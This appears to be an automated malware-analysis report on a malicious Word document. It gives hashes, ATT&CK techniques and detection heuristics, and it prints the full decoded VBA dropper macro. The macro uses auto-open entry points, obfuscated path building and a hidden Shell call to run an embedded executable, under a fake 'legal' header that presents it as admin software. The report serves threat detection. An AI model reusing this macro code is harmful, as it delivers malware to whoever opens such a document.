Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7a7dd6ec56e922ac…

MALICIOUS

Office (OLE)

256.5 KB Created: 2015-10-29 21:16:00 Authoring application: Microsoft Office Word First seen: 2017-10-10
MD5: 956d41de2120a4837a8feeafba64f6f6 SHA-1: 18701fbadf40d88f52013d308e49c4d60e78dee1 SHA-256: 7a7dd6ec56e922aca43e36145176af20439411cb46174efa2d86b583da7b5af0
574 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1137.001 Office Application Native API T1137.002 Office Application Startup T1027 Obfuscated Files or Information T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains VBA macros with an AutoOpen subroutine that attempts to create and execute a PE file. The script uses CreateObject to interact with Word, and SaveAs to save a temporary file named 'C:\Users\Public\pm2.exe' (reconstructed from 'SNP + "pm2" + FEFE' where SNP is derived from Environ$("TEMP") and FEFE is '.exe'). It also attempts to save files named 'C:\Users\Public\temp.exe' and 'C:\Users\Public\rtf'. The presence of an embedded PE executable and the use of LoadLibrary and GetProcAddress APIs strongly suggest this document is a downloader for a second-stage payload.

Heuristics 18

  • OLE with Ole10Native — possible CVE-2026-21514 exploitation high CVE likely CVE_2026_21514
    Document contains a Word OLE object with Ole10Native plus executable, PE, or risky remote-link indicators. CVE-2026-21514 exploits OLE metadata validation; this stronger structure is treated as likely exploitation.
  • ClamAV: Doc.Downloader.Generic-6698421-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6698421-0
  • Embedded PE executable critical OLE_EMBEDDED_EXE
    MZ/PE header found inside document — possible embedded executable
  • Ole10Native package drops an auto-executable payload critical OFFICE_PACKAGE_RISKY_FILE
    OLE Package displayName or fullPath ends in a directly auto-executable extension (a runnable binary or a script the default shell host runs on double-click). Embedding such a payload inside an Office document has no benign authoring use — it is a malware-delivery dropper.
  • VBA macros detected medium 7 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Dim ddaudsb As Variant
ddaudsb = Shell(qwdijksd, 0)
SKDJIWDASSD = "lasjkd klasd9j8u a*(Syd asjw"
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Malfsad (2)
Set dpwFFFksa = CreateObject("Word.Application")
dpwFFFksa.Visible = False
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
    BYHQGJDHASBD = "K Lajskdy&SAY di;salkd a;sdj"
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    End Function
Sub Workbook_Open()
    POQJIODAKLSD = " askdh A*S*(udoasd;asld;ask;"
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
    Makavata
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    BBDHWHDAS = BBDHWHDAS & "MP"
SNP = "" + Environ$(BBDHWHDAS) & ABYQWGHDJA
HUQS = "."
  • Reference to LoadLibrary API high SC_STR_LOADLIBRARY
    Reference to LoadLibrary API
  • Reference to GetProcAddress API high SC_STR_GETPROCADDRESS
    Reference to GetProcAddress API
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOC
    Reference to VirtualAlloc API
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2285 bytes
SHA-256: 722543b615cbe380ee332c78b2e3a99caa56aa1036453538e182f7cd3a4541cf
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
'==========================================================================================
' Legal
' Macros Software for system administrators for installing new software by sending
' doc files with macros for their client.
' Diverse Lynx LLC - USA
' (c) 2015 All rights reserved
' US Office 300 Alexander Park
' Suite #200
' Princeton, NJ 08540
' Using this macros without our permission is illegal!
'==========================================================================================

Sub AutoOpen()
    BYHQGJDHASBD = "K Lajskdy&SAY di;salkd a;sdj"
    Filani
End Sub

Sub Filani()
    QWHDJKASDH = "YQW d8wqydy aisuy*& AYysanmdn,am asd"
    Makavata
End Sub

Sub Makavata()
Dim TEX As String, haa As Integer, HBDS As Date
ABYQWGHDJA = "\"
BBDHWHDAS = "TE"
haa = Sgn(CInt(Hour(Now)) - 25)
On Error Resume Next
BBDHWHDAS = BBDHWHDAS & "MP"
SNP = "" + Environ$(BBDHWHDAS) & ABYQWGHDJA
HUQS = "."
FEFE = HUQS & Chr(102 + haa) + "xe"
DEDE = HUQS + "rt" & Chr(102)

TCA = SNP + "322" + DEDE
TCB = SNP + "311" + DEDE
TEX = SNP + "pm2" & "" + FEFE


JoFidda (TCA)
JoFidda (TCB)
Malfsad (2)
Set dpwFFFksa = CreateObject("Word.Application")
dpwFFFksa.Visible = False
dpwFFFksa.Documents.Open (TCA)
Malfsad (2)
HQUDHSA = Faktal(TEX)
Malfsad (1)
dpwFFFksa.Quit
Set dpwFFFksa = Nothing
End Sub
Public Function JoFidda(Name As String)
    ActiveDocument.SaveAs FileName:=Name, FileFormat:=wdFormatRTF
End Function
Sub Workbook_Open()
    POQJIODAKLSD = " askdh A*S*(udoasd;asld;ask;"
    Makavata
End Sub

Sub Malfsad(Lotosd As Long)
Dim Massdn As Long
Massdn = Timer + Lotosd
Do While Timer < Massdn
DoEvents
Loop
JIQJABSD = "kasjhdjkash " & "akshd kjhSAi7dhHsa"
End Sub

Public Function Faktal(qwdijksd As String)
Dim ddaudsb As Variant
ddaudsb = Shell(qwdijksd, 0)
SKDJIWDASSD = "lasjkd klasd9j8u a*(Syd asjw"
End Function

Sub Auto_Open()
    Makavata
    QNJAKSNDW = "asjkd klasdKNA SDHjkhasd8yasdiu "
End Sub
embedded_office_00005053.exe embedded-pe Office MZ+PE at offset 0x5053 242097 bytes
SHA-256: bc18b0d00b544b84b5215543de8195c18e9a72c100740b065df95b73948bce37
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved macro source contains an auto-exec entry point and execution/download terms.
ole10native_00.bin ole-package OLE Ole10Native stream: ObjectPool/_1507985434/Ole10Native 219867 bytes
SHA-256: bf93184721eed9e379e9e73b0f2e4d74262a54f1cf73865ce1606ef60c74f6b6

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